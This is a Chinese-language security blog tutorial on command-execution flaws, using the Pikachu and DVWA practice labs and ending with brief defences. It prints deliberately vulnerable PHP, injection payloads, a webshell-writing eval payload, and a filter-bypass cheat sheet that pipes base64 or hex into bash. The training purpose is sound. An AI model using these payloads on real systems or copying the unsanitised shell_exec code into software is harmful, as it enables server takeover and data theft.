WEB常见漏洞之命令执行(靶场篇)

admin 2023年2月3日01:47:11评论35 views字数 5818阅读19分23秒阅读模式
免责声明
由于传播、利用本公众号狐狸说安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号狐狸说安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉,谢谢!

靶场地址:

https://github.com/digininja/DVWAhttps://github.com/zhuifengshaonianhanlu/pikachu

0x01 漏洞概述

RCE(remote command/code execute),远程命令执行/代码执行。

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

0x02 pikachu 靶场

逻辑运算符

windows

"|": 管道符,前面命令标准输出,后面命令的标准输入"&": commandA & commandB 先运行命令A然后运行命令B"||": commandA || commandB 运行命令A,如果失败则运行命令B"&&": commandA && commandB 运行命令A,如果成功则运行命令B

linux

"|": 管道符,前面命令标准输出,后面命令的标准输入。例如:help |more"&": commandA & commandB 先运行命令A然后运行命令B"||": commandA || commandB 运行命令A,如果失败则运行命令B"&&": commandA && commandB 运行命令A,如果成功则运行命令B";": commandA && commandB执行完A执行B

一、源码(ping)

<?php$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);if ($SELF_PAGE = "rce_ping.php"){    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');}$PIKA_ROOT_DIR =  "../../";include_once $PIKA_ROOT_DIR . 'header.php';header("Content-type:text/html; charset=utf-8");$result='';if(isset($_POST['submit']) && $_POST['ipaddress']!=null){    $ip=$_POST['ipaddress'];//     $check=explode('.', $ip);可以先拆分,然后校验数字以范围,第一位和第四位1-255,中间两位0-255    if(stristr(php_uname('s'), 'windows')){//         var_dump(php_uname('s'));        $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理    }else {        $result.=shell_exec('ping -c 4 '.$ip);    }}?>

一个文本框,输入ip地址可以进行ping操作,查看源码,发现队输入的”ip“地址没有进行过滤

WEB常见漏洞之命令执行(靶场篇)

利用管道符就可以实现任意代码执行

先输入 127.0.0.1 看回显(验证是否可以ping本地)

WEB常见漏洞之命令执行(靶场篇)

尝试直接利用逻辑运算符来进行简单利用(看是否有过滤)

payload:

127.0.0.1|dir

回显

WEB常见漏洞之命令执行(靶场篇)

可以看到回显了本地同级文件

尝试payload

127.0.0.1||dir

WEB常见漏洞之命令执行(靶场篇)

可以看到,并没有执行 dir 命令(这里是为了结合漏洞,验证上面所提到的逻辑运算符使用)

进一步进行漏洞利用

payload

127.0.0.1|ipconfig/all

WEB常见漏洞之命令执行(靶场篇)

二、源码(exec "eval")

<?phpheader("Content-type:text/html; charset=utf8");
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);
if ($SELF_PAGE = "rce_evel.php"){ $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');}
$PIKA_ROOT_DIR = "../../";include_once $PIKA_ROOT_DIR . 'header.php';
$html='';if(isset($_POST['submit']) && $_POST['txt'] != null){ if(@!eval($_POST['txt'])){        $html.="<p>你喜欢的字符还挺奇怪的!</p>"; }
}?>

简单来说就是 eval() 函数可以执行PHP代码,然后PHP的system()函数可以执行系统命令,这样子远程代码执行就可以编程远程命令执行,输入 system("命令"),正常执行,可以访问到文件。

payload

txt=phpinfo();

回显

WEB常见漏洞之命令执行(靶场篇)

可以看到 phpinfo(); 函数执行了

进一步利用(上传后门木马)

payload

fputs(fopen('shell.php','w'),'<?php @eval($_POST['hack']);?>');

利用效果

WEB常见漏洞之命令执行(靶场篇)

WEB后台管理工具连接(中国蚁剑)

WEB常见漏洞之命令执行(靶场篇)

连接成功

WEB常见漏洞之命令执行(靶场篇)

0x03  DVWA靶场

LOW

分析源码

<?php
if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); }
// Feedback for the end user echo "<pre>{$cmd}</pre>";}
?>

没有进行任何转义以及过滤,

127.0.0.1 & whoami

进行查询WEB常见漏洞之命令执行(靶场篇)

如果出现乱码,更改此路径下的DVWA-masterdvwaincludesdvwaPage.inc.php文件,将这个文件中的uft-8全部替换为gb2312

WEB常见漏洞之命令执行(靶场篇)

Medium

修改难度,分析源代码

<?php
if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ];
// Set blacklist $substitutions = array( '&&' => '', ';' => '', );
// Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); }
// Feedback for the end user echo "<pre>{$cmd}</pre>";}
?>

发现将&&进行转义,我们可以采用;把两个&符号分开,进行绕过

127.0.0.1 &;& whoami

WEB常见漏洞之命令执行(靶场篇)

medium只是简单的对一些符号进行了转义。

High:

修改难度,分析源代码

<?php
if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]);
// Set blacklist $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', );
// Remove any of the characters in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); }
// Feedback for the end user echo "<pre>{$cmd}</pre>";}
?>

仅转义了| |,||进行查询

WEB常见漏洞之命令执行(靶场篇)

0x04 绕过姿势

常见绕过姿势

绕过空格

<  --  重定向,如cat<flag.php<>      --   重定向,如cat<>flag.php%09  --  需要php环境,如cat%09flag.php${IFS}  --  单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php$IFS$9  --  后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php

黑名单绕过

1. 拼接

a=c;b=at;c=flag;$a$b $ca=c;b=at;c=heb;d=ic;ab{c}{d}

编码(base64)

echo MTIzCg==|base64 -d 其将会打印123echo "Y2F0IC9mbGFn"|base64-d|bash ==>cat /flag

编码(hex)

echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag

单引号和双引号绕过

ca''t flag 或ca""t flagca''t te""st.php

反斜杠绕过

cat flagcat test.php

绕过例题举例

空格绕过、cat绕过

<?phperror_reporting(0);if(isset($_GET['c'])){    $c = $_GET['c'];    if(!preg_match("/flag|system|php|cat|sort|shell|.| |'/i", $c)){         eval($c);    }}else{    highlight_file(__FILE__);}

payload

?c=passthru("tac%09f*");

单行多命令执行

<?phpif(isset($_GET['ip'])){  $ip=$_GET['ip'];  $a=shell_exec("ping -c 4 ".$ip);  print_r($a);}else{  highlight_file(__FILE__);}

payload

?ip=x;cat flag.php

截断绕过

<?phpif (isset($_GET['c'])) {      $c = $_GET['c'];          system($c . " >/dev/null 2>&1");} else {      highlight_file(__FILE__);}?>

payload

?c=cat f*%0a

0x04 漏洞防御

尽量不要执行外部命令。使用自定义函数或者函数库来代替外部命令的功能。使用escapeshe||arg函数来处理命令参数。使用safe_mode_exec_dir指定可执行文件的路径。(safe_mode_exec_dir指定路径时可以把会使用的命令提前放入此路径内。)

0x05 知识星球

WEB常见漏洞之命令执行(靶场篇)

原文始发于微信公众号(狐狸说安全):WEB常见漏洞之命令执行(靶场篇)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月3日01:47:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WEB常见漏洞之命令执行(靶场篇)https://cn-sec.com/archives/1534207.html

发表评论

匿名网友 填写信息